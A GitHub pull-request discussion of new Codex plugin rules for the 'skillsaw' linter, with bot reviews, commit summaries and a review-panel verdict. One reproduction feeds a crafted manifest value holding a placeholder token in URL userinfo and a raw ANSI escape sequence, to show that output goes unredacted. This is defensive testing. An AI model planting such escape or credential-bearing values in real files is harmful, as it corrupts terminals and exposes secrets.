  • ', '.join(str(v) for v in known) at codex/marketplace_json_valid.py:349, so a user config with non-string installation-values reports rather than crashes.
  • Route codex_plugin_name (context.py:651) through _read_json_or_none instead of a hand-rolled json.load — it is called per-plugin and per-entry inside loops.
  • Replace the self.__dict__ memoization at context.py:551/:573 with a normal Optional attribute seeded in __init__, matching _apm_compiled_roots.
  • Let _check_entry_name fall through to the kebab-case check after reporting a duplicate name, rather than returning early.
  • Settle the since convention (0.18.0 here vs 0.17.0 on nine existing rules) and record it in the release skill so future auto-generated rule PRs don't have to guess.

Generated by skillsaw-review-panel

@stbenjam stbenjam added agent Approved for agent and removed agent Approved for agent labels Jul 26, 2026
github-actions Bot and others added 3 commits July 26, 2026 01:13
Three BLOCKING findings from the panel, plus the suggestions and notes:

- marketplace-json-valid stood down from "Marketplace file not found"
  for any repo with a Codex catalog, even one shipping real Claude
  plugins. It now stands down only when no discovered plugin carries
  .claude-plugin/plugin.json, matching plugin-json-required's rule.

- codex-marketplace-registration demanded that plugins under
  .codex/plugins/ — where Codex installs plugins into a developer's
  checkout — be listed in the repository's own catalog. That failed the
  lint of anyone who installed a Codex plugin, and `fix --suggest` wrote
  the third-party install into the published catalog. They stay
  discovered (their hooks and skills are still linted) but are skipped
  by the registration check.

- urlparse() raises "Invalid IPv6 URL" on an unbalanced '['; the
  exception escaped check() and aborted the whole rule, so the
  credential and scheme checks failed open on exactly the input they
  exist to catch. It now reports a violation.

Also: empty bare-string marketplace sources are an error rather than an
INFO about './'; a non-string policy value-list from config no longer
crashes the rule's own error message; a duplicate entry name falls
through to the kebab-case check; dead codex_marketplace_data removed;
codex_plugin_name and the marketplace-path cache go through the shared
readers instead of hand-rolled I/O and __dict__.

Regenerates .skillsaw-card.svg, which was stale on this branch.

Co-Authored-By: Claude <noreply@anthropic.com>
# Conflicts:
#	.skillsaw-card.svg
Co-Authored-By: Claude <noreply@anthropic.com>
@claude

claude Bot commented Jul 26, 2026

Copy link
Copy Markdown
Contributor

Review panel findings addressed

All three BLOCKING findings are fixed, along with every SUGGESTION and NOTE. Each was reproduced first with the panel's own repro, then re-run after the fix.

BLOCKING

marketplace/json_valid.py — stand-down was too wide. The exemption now requires that no discovered plugin carries .claude-plugin/plugin.json, mirroring plugins/json_required.py:42. Verified with the panel's mixtest layout:

✗ ERROR (marketplace-json-valid) [.claude-plugin/marketplace.json]: Marketplace file not found

Pure-Codex repos still stand down — openai/plugins and codex/clean are unchanged.

context.py.codex/plugins/* fed the registration rule. Took option (b): those plugins stay discovered so their hooks and skills keep getting linted, but _unregistered skips them via a new RepositoryContext.is_codex_installed_plugin(). The panel's codexinstall layout is now clean, and fix --suggest no longer writes the third-party install into the catalog. Added .codex/plugins/installed-helper/ to the codex/clean fixture so the whole-repo clean assertion guards it, plus tests pinning both the discovery and the non-registration.

codex/marketplace_json_valid.py — unguarded urlparse. Wrapped; a malformed registry is now a violation instead of aborting the rule:

✗ ERROR (codex-marketplace-json-valid): plugins[0].source.registry 'https://[oops' is not a valid URL

SUGGESTION / NOTE

  • Empty bare-string source is an ERROR (plugins[0].source is an empty path) rather than an INFO about ./, matching plugin_json_valid.py:145.
  • ', '.join(str(v) for v in known) — a non-string installation-values config no longer crashes the rule inside its own error message.
  • Duplicate entry name falls through to the kebab-case check, so both defects on Bad_Name are reported.
  • Deleted the dead codex_marketplace_data / _load_codex_marketplace.
  • _discover_codex_marketplaces memoizes through self._codex_marketplace_paths seeded in __init__ instead of __dict__.
  • codex_plugin_name routes through _read_json_or_none instead of hand-rolled open() + json.load.

Tests added for all of the above (5 new in TestMarketplaceJsonValid, 1 in TestMarketplaceRegistration, 1 in TestCodexDiscovery, 1 in TestClaudeRulesStandDown).

Validation

  • make test: 3054 passed.
  • make lint: clean. make update regenerated .skillsaw-card.svg, which fixes the failing verify-update check.
  • openshift-eng/ai-helpers: exit 0.
  • openai/plugins: full -v finding list diffed against the pre-fix branch HEAD — identical (6755 findings, zero from codex-* rules, zero marketplace-json-valid). No regression from the stand-down narrowing.

Merged main (#452) in.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

🧹 Nitpick comments (3)
src/skillsaw/rules/builtin/codex/marketplace_registration.py (1)

266-334: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Autofix re-serializes the whole catalog, so it reformats files that don't use 2-space indent.

json.dumps(data, indent=2) rewrites key ordering-preserved but re-indents the entire document, producing large diffs on catalogs formatted with 4 spaces or tabs. Consider inferring the existing indent from original (e.g. leading whitespace of the first nested line) and passing it through, so the fix stays scoped to the appended entry.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/skillsaw/rules/builtin/codex/marketplace_registration.py` around lines
266 - 334, Update the fixed_content serialization in fix to infer the
marketplace file’s existing indentation style from original, including spaces
versus tabs, and pass that indent to json.dumps instead of hardcoding indent=2.
Preserve the existing JSON content, Unicode handling, and trailing newline while
matching the catalog’s established formatting.
src/skillsaw/rules/builtin/codex/__init__.py (1)

5-15: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Remove the hand-maintained Codex re-export list.

src/skillsaw/rules.builtin auto-discovers concrete Rule subclasses, so this explicit import list plus matching __all__ can drift from the actual Codex rule modules. Let the package discovery reach the four Codex rule classes directly.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@src/skillsaw/rules/builtin/codex/__init__.py` around lines 5 - 15, Remove the
explicit rule imports and __all__ list from the Codex package initializer so
discovery through rules.builtin reaches the concrete classes directly. Leave the
individual Codex rule modules and their class definitions unchanged.

Source: Coding guidelines

.apm/skills/skillsaw-maintenance/references/codex.md (1)

16-18: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Avoid hard-coding the catalog size in this maintenance reference.

The upstream catalog is a live collection, so “180 plugins” will age and make this reference misleading. Describe it as the official conformance corpus without a fixed count, or add a dated snapshot. (github.com)

Suggested wording
- Reference corpus: https://github.com/openai/plugins — the official catalog (180
- plugins across `marketplace.json` and `api_marketplace.json`). It is the de-facto
+ Reference corpus: https://github.com/openai/plugins — the official catalog and
+ de-facto
  conformance suite: skillsaw must stay silent on it.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.apm/skills/skillsaw-maintenance/references/codex.md around lines 16 - 18,
Update the “Reference corpus” description in the maintenance reference to remove
the hard-coded “180 plugins” count, while retaining the official openai/plugins
catalog and its role as the conformance corpus.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@docs/repo-types.md`:
- Around line 85-97: Add the text language identifier to the opening fence of
each tree diagram: docs/repo-types.md lines 85-97 and 107-117, and
docs/rules/codex-plugin-structure.md lines 28-34 and 38-45. Leave the diagram
contents unchanged.

In `@src/skillsaw/rules/builtin/codex/marketplace_json_valid.py`:
- Around line 48-59: Resolve RUF012 by annotating the mutable class-level
defaults with ClassVar: update config_schema in
src/skillsaw/rules/builtin/codex/marketplace_json_valid.py (lines 48-59), and
update DEFAULT_RECOMMENDED_FIELDS plus config_schema in
src/skillsaw/rules/builtin/codex/plugin_json_valid.py (lines 32-47). Add or
reuse the appropriate typing import while preserving the existing values and
behavior.

In `@src/skillsaw/rules/docs/codex-plugin-structure.md`:
- Around line 13-30: Update the two directory-tree code fences in the plugin
structure documentation to specify the text language, changing each opening
fence to ```text while preserving the examples’ contents and closing fences.

---

Nitpick comments:
In @.apm/skills/skillsaw-maintenance/references/codex.md:
- Around line 16-18: Update the “Reference corpus” description in the
maintenance reference to remove the hard-coded “180 plugins” count, while
retaining the official openai/plugins catalog and its role as the conformance
corpus.

In `@src/skillsaw/rules/builtin/codex/__init__.py`:
- Around line 5-15: Remove the explicit rule imports and __all__ list from the
Codex package initializer so discovery through rules.builtin reaches the
concrete classes directly. Leave the individual Codex rule modules and their
class definitions unchanged.

In `@src/skillsaw/rules/builtin/codex/marketplace_registration.py`:
- Around line 266-334: Update the fixed_content serialization in fix to infer
the marketplace file’s existing indentation style from original, including
spaces versus tabs, and pass that indent to json.dumps instead of hardcoding
indent=2. Preserve the existing JSON content, Unicode handling, and trailing
newline while matching the catalog’s established formatting.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: 5838c365-e62f-4230-ae6b-f329e2dd8600

📥 Commits

Reviewing files that changed from the base of the PR and between 13073ff and 300824c.

⛔ Files ignored due to path filters (17)
  • .agents/skills/skillsaw-maintenance/SKILL.md is excluded by !.agents/**
  • .agents/skills/skillsaw-maintenance/references/codex.md is excluded by !.agents/**
  • .claude/skills/skillsaw-maintenance/SKILL.md is excluded by !.claude/**
  • .claude/skills/skillsaw-maintenance/references/codex.md is excluded by !.claude/**
  • .skillsaw-card.svg is excluded by !**/*.svg
  • tests/fixtures/codex/broken/.agents/plugins/marketplace.json is excluded by !tests/fixtures/**
  • tests/fixtures/codex/broken/plugins/escaping_paths/.codex-plugin/plugin.json is excluded by !tests/fixtures/**
  • tests/fixtures/codex/broken/plugins/stray-manifest-dir/.codex-plugin/hooks.json is excluded by !tests/fixtures/**
  • tests/fixtures/codex/broken/plugins/stray-manifest-dir/.codex-plugin/plugin.json is excluded by !tests/fixtures/**
  • tests/fixtures/codex/broken/plugins/unregistered/.codex-plugin/plugin.json is excluded by !tests/fixtures/**
  • tests/fixtures/codex/clean/.agents/plugins/marketplace.json is excluded by !tests/fixtures/**
  • tests/fixtures/codex/clean/.codex/plugins/installed-helper/.codex-plugin/plugin.json is excluded by !tests/fixtures/**
  • tests/fixtures/codex/clean/plugins/note-taker/.codex-plugin/plugin.json is excluded by !tests/fixtures/**
  • tests/fixtures/codex/clean/plugins/note-taker/assets/logo.png is excluded by !**/*.png, !tests/fixtures/**
  • tests/fixtures/codex/clean/plugins/note-taker/skills/capture-notes/SKILL.md is excluded by !tests/fixtures/**
  • tests/fixtures/codex/clean/plugins/repo-policy/.codex-plugin/plugin.json is excluded by !tests/fixtures/**
  • tests/fixtures/codex/clean/plugins/repo-policy/hooks/hooks.json is excluded by !tests/fixtures/**
📒 Files selected for processing (32)
  • .apm/skills/skillsaw-maintenance/SKILL.md
  • .apm/skills/skillsaw-maintenance/references/codex.md
  • .skillsaw.yaml
  • .skillsaw.yaml.example
  • docs/cli.md
  • docs/repo-types.md
  • docs/rules/codex-marketplace-json-valid.md
  • docs/rules/codex-marketplace-registration.md
  • docs/rules/codex-plugin-json-valid.md
  • docs/rules/codex-plugin-structure.md
  • docs/rules/codex.md
  • docs/rules/index.md
  • mkdocs.yml
  • scripts/generate-docs.py
  • scripts/generate-site-content.py
  • src/skillsaw/context.py
  • src/skillsaw/lint_target.py
  • src/skillsaw/lint_tree.py
  • src/skillsaw/rules/builtin/codex/__init__.py
  • src/skillsaw/rules/builtin/codex/_helpers.py
  • src/skillsaw/rules/builtin/codex/marketplace_json_valid.py
  • src/skillsaw/rules/builtin/codex/marketplace_registration.py
  • src/skillsaw/rules/builtin/codex/plugin_json_valid.py
  • src/skillsaw/rules/builtin/codex/plugin_structure.py
  • src/skillsaw/rules/builtin/marketplace/json_valid.py
  • src/skillsaw/rules/builtin/plugins/json_required.py
  • src/skillsaw/rules/docs/codex-marketplace-json-valid.md
  • src/skillsaw/rules/docs/codex-marketplace-registration.md
  • src/skillsaw/rules/docs/codex-plugin-json-valid.md
  • src/skillsaw/rules/docs/codex-plugin-structure.md
  • tests/test_codex_rules.py
  • tests/test_integration.py

Comment thread docs/repo-types.md Outdated
Comment thread src/skillsaw/rules/builtin/codex/marketplace_json_valid.py
Comment thread src/skillsaw/rules/docs/codex-plugin-structure.md Outdated

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 300824c5db

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment thread src/skillsaw/context.py Outdated
Comment thread src/skillsaw/rules/builtin/plugins/json_required.py Outdated
Comment thread src/skillsaw/rules/builtin/codex/marketplace_registration.py Outdated
Comment thread src/skillsaw/context.py
Comment thread src/skillsaw/rules/builtin/codex/marketplace_json_valid.py
@stbenjam stbenjam added the agent Approved for agent label Jul 26, 2026
Repository owner deleted a comment from github-actions Bot Jul 26, 2026
@stbenjam stbenjam removed the agent Approved for agent label Jul 26, 2026

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: aec70d2efb

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread src/skillsaw/lint_tree.py Outdated
Comment thread src/skillsaw/context.py
Comment thread src/skillsaw/rules/builtin/codex/marketplace_json_valid.py
Comment thread docs/repo-types.md
@stbenjam stbenjam added the agent Approved for agent label Jul 26, 2026
github-actions Bot and others added 2 commits July 26, 2026 14:06
Four findings from the chatgpt-codex-connector review:

- Route declared Codex hooks through the hook checks. A manifest may point
  ``hooks`` at a file other than the conventional ``hooks/hooks.json``; that
  file carries the same executable commands, so it now becomes a HooksBlock
  and gets hooks-json-valid, hooks-dangerous and hooks-prohibited. Inline
  hooks objects and paths that escape the plugin root are not followed.
- Discover skills inside installed Codex plugins. ``.codex/plugins/`` is
  hidden, so the repository-wide skill scan never walks it; Codex plugin
  roots now join Claude plugin roots as embedded-skill roots.
- Reject an empty ``source`` discriminator in a Codex marketplace entry as
  missing rather than as an unknown future source type, so an entry Codex
  cannot resolve no longer passes a default ``fail-on: error`` run.
- Add Codex plugins and marketplaces to the README's supported-format
  summary, and document the hooks discovery contract in docs/repo-types.md.

Co-Authored-By: Claude <noreply@anthropic.com>

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 253a9d923d

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment thread src/skillsaw/context.py Outdated
Comment thread src/skillsaw/context.py Outdated
Comment thread src/skillsaw/context.py
Security and correctness:
- _add_parser_block records only its (path, parser) role, never the
  path-only dedupe set: a manifest declaring hooks/mcpServers at an
  in-plugin markdown file silently dropped that file from every content
  and prose rule that attaches later.
- Prose for every discovered Codex plugin: a plugin at the repository
  root, or reached through a catalog source outside plugins/*, gets its
  commands/, agents/, rules/ and README attached under its container
  with the same containment check the config files use; codex-only
  directories route hooks/MCP exclusively through the contained path so
  a symlinked hooks.json cannot ride in on the Claude attach.
- is_codex_claimed() is filesystem-first (a contained .codex-plugin
  manifest claims its directory whatever --type said), the divergent
  copies in plugin-json-required and the docs extractor delegate to it,
  and the Claude-format gates are directory-based so container-attached
  prose is covered; an invariance test pins the --type behavior.
- codex_catalog_exists() shares discovery's positive-evidence duck-type,
  so a sourceless version-pin sibling neither lints as a catalog nor
  stands the Claude missing-manifest diagnostic down.
- safe_display() covers every manifest-value echo (path_problem, both
  validity rules, structure, registration names, brand_color), redacts
  userinfo of any length, and strips C1 controls and bidi overrides.
- _table_cell escapes Markdown link delimiters and the per-plugin page
  heading routes through it — a display name carrying "](", a newline,
  or a pipe arrives inert.
- The manifest-input $HOME bound compares the resolved home directory,
  so a symlinked $HOME cannot slip past it.
- codex_plugin_owning() and the docs extractor's skill attribution walk
  ancestors against a set instead of scanning every root per path.

Docs and hygiene: pre-commit.md matches the published files-filter hook
and states the deletion-only gap honestly; the three flagged comments
are re-tensed or restored; reserved-stem handling and remaining
optional items are tracked in review replies.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@not-stbenjam

Copy link
Copy Markdown
Collaborator

Second panel verdict addressed — all eight required actions in dd19a08

  1. seen.add(resolved) deleted from _add_parser_block — role-keyed dedupe only. A manifest naming an in-plugin markdown file as hooks/mcpServers can no longer suppress that file from the content rules; fixture added.
  2. safe_display() coverage completed: the three path_problem() returns, all of codex-marketplace-json-valid (category, names, paths, policy values), plugin_json_valid._check_name, registration's entry_name/manifest_name, and brand_color. The userinfo bound is gone (400-char JWT test), _CONTROL_CHARS covers C1 and the bidi overrides. THREAT_MODEL's T14 rule-name credit corrected to codex-marketplace-json-valid.
  3. _table_cell escapes link delimiters (\, |, [, ], (, )) and the per-plugin page heading routes through it; a displayName carrying ](, a newline, or a pipe arrives inert.
  4. $HOME bound compares Path.home().resolve() — a symlinked home no longer slips past it.
  5. Codex-only predicate unified and discovery-independent: is_codex_claimed() is filesystem-first (contained manifest wins regardless of --type), the divergent copies in plugin-json-required and docs/extractor._is_codex_only delegate to it, the Claude-format gates are directory-based, and a test pins --type invariance.
  6. Nearest-ancestor lookups inverted in codex_plugin_owning() and the docs extractor's skill attribution — ancestor walk against a set, per the established plugin_nodes pattern.
  7. docs/pre-commit.md corrected — documents files: ., states plainly that deletion-only commits skip the hook, and drops the always_run guidance.
  8. The three comment defects fixed — both branch-history claims re-tensed, the hooks gate comment's markup restored.

The optional follow-ups are noted; the pre-existing Claude-path _safe_url asymmetry and the docs-extractor structure items are good candidates for the post-merge cleanup alongside issue #463 (the symlink-class sweep).

Also in this push: the three verified items from the latest connector round (root-level plugin prose — the same class as panel RA1's remainder; the shared catalog duck-type in codex_catalog_exists(); the redaction bound) with the rest declined and resolved.

Validation: 3,445 passed / 1 xfailed / 94%; lint and make update clean; openai/plugins five-rule gate 0 findings, full-run canary green (prose visible, zero Claude-format leaks, 180 plugins); ai-helpers A+ exit 0.

@not-stbenjam not-stbenjam added the panel-review Trigger a multi-specialist review panel label Jul 27, 2026
@github-actions github-actions Bot removed the panel-review Trigger a multi-specialist review panel label Jul 27, 2026

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: dd19a081cf

ℹ️ About Codex in GitHub

Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".

Comment thread src/skillsaw/rules/builtin/codex/marketplace_json_valid.py Outdated
Comment thread src/skillsaw/rules/builtin/codex/_helpers.py Outdated
Comment thread src/skillsaw/docs/markdown_renderer.py
Comment thread src/skillsaw/rules/builtin/codex/plugin_json_valid.py
Comment thread docs/repo-types.md Outdated
Comment thread tests/test_codex_rules.py Outdated
Comment thread src/skillsaw/cli/_helpers.py
Comment thread src/skillsaw/rules/builtin/codex/openai_metadata.py
Comment thread src/skillsaw/rules/builtin/codex/plugin_json_valid.py
@github-actions

Copy link
Copy Markdown
Contributor

Review Panel Verdict

Disposition: REQUEST_CHANGES

Advisory only — this panel does not gate merge. Seventeenth round, reviewing dd19a08. The Ecosystem lane is now settled with fresh, independent measurement and argues to merge. Of the previous round's eight required actions, six are genuinely complete; two shipped at partial scope, and one of the partial ones exposed a confirmed 0.17 → 0.18 security regression that no prior round saw.


Specialist Findings

Architecture Reviewer

Prior required actions verified: #1 (seen.add(resolved) deleted — lint_tree.py:123-129), #6 (nearest-ancestor lookups restored; profiled 300-plugin × 5-skill catalog, codex_plugin_owning no longer in the top-28 cumulative), #8 (comments re-tensed) — all confirmed. Divergent Codex-only copies genuinely collapsed: plugins/json_required.py and docs/extractor._is_codex_only both delegate to context.is_codex_only_plugin(). Import cycles clean (38 layering tests pass).

BLOCKING — src/skillsaw/rules/builtin/plugins/json_required.py:46-48 — the Claude-marketplace carve-out exists in exactly one of seven provenance gates.

This is the only gate that ANDs is_codex_only_plugin() with "not listed in the Claude marketplace". Its own rule doc (src/skillsaw/rules/docs/plugin-json-required.md:38-45) states the principle: "The exemption is withdrawn … when a Claude marketplace lists the directory." The other six ignore marketplace_entries entirely — commands/frontmatter.py:35, commands/naming.py:35, commands/sections.py:36, commands/name_format.py:38, agents/frontmatter.py:39, plugins/naming.py:36, marketplace/registration.py:102.

Reproduced. Root .claude-plugin/marketplace.json lists ./plugins/foo; plugins/foo carries .codex-plugin/plugin.json, commands/Bad_Name.md, and no .claude-plugin/ of its own:

BASE (43654b2)                          HEAD (dd19a08)
command-frontmatter  Bad_Name.md        plugin-json-required  .claude-plugin/plugin.json
command-naming       Bad_Name.md
plugin-json-required .claude-plugin/plugin.json

One run now says both "you must add a Claude plugin.json here" and "this is Codex-only, so Claude command conventions don't apply." With the supported strict: false marketplace opt-out (json_required.py:64) — the documented way to publish a plugin with no manifest of its own — the same repo goes from 2 findings to zero:

--- HEAD ---  (none)
--- BASE ---  command-frontmatter | plugins/foo/commands/Bad_Name.md | Missing frontmatter
              command-naming      | plugins/foo/commands/Bad_Name.md | 'Bad_Name' should use kebab-case

Silent coverage loss on content whose author declared Claude intent, against this repo's own "never break existing rules for users of skillsaw."

Action: move the carve-out into the shared predicate rather than replicating it seven times — e.g. is_codex_only_plugin() returns False when plugin_dir.resolve() in context.marketplace_entries, and json_required.py drops its local copy. If the two answers must differ, name them (is_codex_only_plugin vs is_claude_declared_plugin) so the difference is legible. Add a test with a Claude-catalog-listed dual-format directory asserting command-naming still fires.

SUGGESTION — A2 context.py:1029-1042--type invariance is closed for the manifest half only; the pinning test passes vacuously over the other half. is_codex_claimed() short-circuits on codex_manifest_is_contained() (filesystem, --type-independent), then falls through to _codex_claim_set() (:1015), whose local-sources half reads codex_marketplace_paths(), which returns [] when _codex_discovery_enabled is False (:742). Reproduced (catalog lists ./plugins/bare; bare has commands/ but no .codex-plugin/):

default            -> is_codex_only_plugin == True   findings: [codex-marketplace-registration]
--type marketplace -> is_codex_only_plugin == False  findings: [command-frontmatter, command-naming,
                                                                plugin-json-required, plugin-readme]

tests/test_codex_rules.py:1425 builds its plugin via _write_plugin, which writes a manifest — so it exercises only the branch that already works. Action: make the claim set filesystem-first too (the way codex_catalog_exists() at :810 already does), or drop the invariance claim from the docstring. Either way extend the test with a manifest-less catalog-claimed directory.

SUGGESTION — A3 src/skillsaw/rules/builtin/plugins/readme.py:33plugin-readme is the last find(PluginNode) rule with no provenance gate. In a mixed Claude+Codex repo a Codex-only plugin is told to add a README; in a pure-Codex repo the identical directory is told nothing, and no Codex rule fills the gap. Not a regression, but the one hole left in an otherwise complete model. Action: gate it like its six siblings and add README coverage to codex-plugin-structure, or declare it ecosystem-neutral, add CODEX_PLUGIN_REPO_TYPES to its repo_types, and say so in the rule doc.

SUGGESTION — A4 tests/test_module_layering.py:128 (prior, unfixed) — still hardcodes formats/promptfoo.py. formats/codex.py now occupies the same import position and is not parametrized by _core_module_files(). Action: files.extend(sorted(str(p.relative_to(SRC)) for p in (SRC / "formats").glob("*.py"))).

SUGGESTION — A5 (prior, unfixed)skillsaw.context is still a re-export shim for formats.codex helpers. codex/marketplace_registration.py:16 imports codex_local_source_path, safe_resolve from skillsaw.context while line 17 imports four more names from skillsaw.formats.codex; codex/marketplace_json_valid.py:11-12 splits the same way. Contradicts formats/codex.py's own module docstring. Action: import all pure helpers from skillsaw.formats.codex.

SUGGESTION — A6 (prior, unfixed) — Codex block ownership is still not expressible through the lint tree; three shims work around it (docs/extractor.py:343 _OwnBlocks, :353 _root_claimed_blocks, :381 _BlockSources). Root cause is ordering in lint_tree.py — the root .mcp.json attaches at :231 and the dual-host plugin's configs at :298-301, both before the Codex loop at :320. Reasonable as post-merge cleanup, but should be tracked.

SUGGESTION — A7 (prior, unfixed)RepositoryContext has absorbed the whole Codex discovery subsystem (873 → 1584 lines, +81%, 7 new fields, 8 new methods). apply_excludes() (:397-455) hand-rolls change detection and invalidates five caches in a specific order. Action: extract a CodexDiscovery collaborator with a single invalidate(). (Correcting the prior round: codex_catalog_changed at :396 is not dead — linter.py:80 re-calls apply_excludes() after mutating exclude_patterns.)

SUGGESTION — A8 (prior, unfixed) — provenance-keyed strictness in mcp/valid_json.py:20-29 (require_usable) and hooks/json_valid.py:128-129 (validate_codex_shapes) has no config_schema knob. Conflicts with "make rules configurable when there are tuneable settings." Action: a codex-shapes: auto | always | never knob defaulting to current behavior.

NOTES: agentskills/_helpers.py:57 is_installed_plugin_skill() is a one-line pass-through adding a fourth name for the same concept. context.py:1069 / docs/extractor.py:527 rebuild set(...) from an already-memoized list on every call. codex/_helpers.py:123 escapes_root() calls root.resolve() per invocation (formats/codex.py:183 hoists it correctly). getattr(context, "marketplace_entries", {}) at three sites for an attribute unconditionally set at context.py:301.

Checked clean: LintTarget hierarchy (CodexPluginNode deliberately not a PluginNode; OpenAIMetadataBlock a direct LintTarget; inline-block MRO and identity __eq__/__hash__) — all match the documented block-hierarchy doctrine. paths.py as a new pure-predicate layer with no reverse edges. Rule auto-registration. read_yaml_commented usage and line-number helpers. Error propagation: safe_resolve/_safe_stat fail closed; _is_usable, isinstance(hook_type, str), _as_str/_as_str_list convert would-be rule-aborting TypeErrors into reported violations. _MergedContext is formatter-only. No import cycles.

Python Expert

Baseline health: full suite 3445 passed, 1 xfailed in 137s. black --check clean across 236 files. AST sweep of every changed .py for PEP 585 runtime subscripts without from __future__ import annotations, PEP 604 unions, and match statements: no Python 3.9 incompatibility. Claude-only benchmark (60 plugins / 200 skills) 7.4s HEAD vs 7.1s base — acceptable drift.

Prior required actions: #1, #3, #4, #5, #7, #8 confirmed complete. Live check on a Codex-only repo: --type marketplace now reports only plugin-readme (was 5 rules last round). #2 incomplete (below). #6 half done (below).

BLOCKING — src/skillsaw/rules/builtin/codex/marketplace_json_valid.py:344source_type is interpolated raw into the unknown-source-type message. It is a manifest-controlled string that has passed only isinstance(str) and non-empty. It is the one echo site in this file that required action #2 named explicitly and that dd19a08 did not wrap; every other site in the file was fixed, which is what makes this one easy to miss.

Reproduced with .agents/plugins/marketplace.json containing {"source": {"source": "https://ci-bot:ghp_AAAABBBBCCCCDDDD@github.example.com/private�[31mRED", "url": "x"}}:

# skillsaw lint <repo> | cat -v
⚠ WARNING (codex-marketplace-json-valid) [.agents/plugins/marketplace.json]:
  plugins[0].source: unknown source type
  'https://ci-bot:ghp_AAAABBBBCCCCDDDD@github.example.com/private^[[31mRED' (known types: ...)

# --format json
grep -o 'ghp_[A-Za-z0-9]*'  ->  ghp_AAAABBBBCCCCDDDD

Raw ESC reaches the text formatter and the credential reaches the JSON/SARIF artifact — the exact T14 path the PR claims closed. The second {source_type} at :359 is safe: it is only reached for a key of _SOURCE_REQUIRED_FIELDS.

Action: wrap safe_display(source_type) at :344 only. Extend test_manifest_credentials_are_redacted_from_every_echo_site — this is the third round running where the leaking branch was the one absent from that test's fixtures, so the assertion should be inverted to iterate every message a rule produces rather than enumerating branches.

SUGGESTION — src/skillsaw/docs/extractor.py:529 (_extract_codex_skills) — required action #6's second half was not applied. The inner nearest-root determination was converted to a set walk (:527), but the outer filter is still O(plugins × skills):

for skill_resolved, skill_node in resolved_skills:
    if not skill_resolved.is_relative_to(plugin_resolved):   # ← 300 × 1500 calls
        continue

Measured on 300 plugins × 5 skills (skillsaw docs, warm):

variant wall is_relative_to calls
HEAD 15.2 s 458,112 (41.5 s of a 48.9 s cProfile run — 85 % of the profile)
plugin_resolved not in skill_resolved.parents 13.1 s
owner→skills map built once, dict lookup per plugin 3.7 s ~1,500

All three produce byte-identical output (diff -r clean). skillsaw lint on the same fixture profiles clean, so that half of the fix is genuinely landed. Docs-only, hence SUGGESTION — but a 4× regression on a command the PR newly wires Codex catalogs into. Action: build owner -> [(resolved, SkillNode)] once in _extract_codex_plugins (where both inputs are already computed together at :314-316).

NOTE — mcp/valid_json.py:22, :86-99_codex_only_owner(context, path)'s path parameter is unannotated while both siblings in the file are typed; should be Path. Also called separately in each arm of the if "mcpServers" in data / else, doing the resolve-and-ancestor-walk twice per block. Hoist above the branch.

NOTE — context.py:1069codex_plugin_owning rebuilds a 445-element set per skill. Not hot today, but caching it next to self._codex_roots (already cleared in apply_excludes) is free.

NOTE — codex/plugin_structure.py:49entry.name echoed raw. Filesystem-derived, so lower risk, but a POSIX filename may contain any byte except / and NUL. Wrapping the message alone is only half a fix since file_path=entry carries the same bytes into every formatter; if this matters it belongs at the formatter boundary.

NOTE — docs/markdown_renderer.py:116 (_table_cell) — escapes \ | [ ] ( ) but not backticks, while three call sites wrap the result in backticks (:164, :270-273). A backtick in a tag or server name closes the code span early. Rendering corruption only.

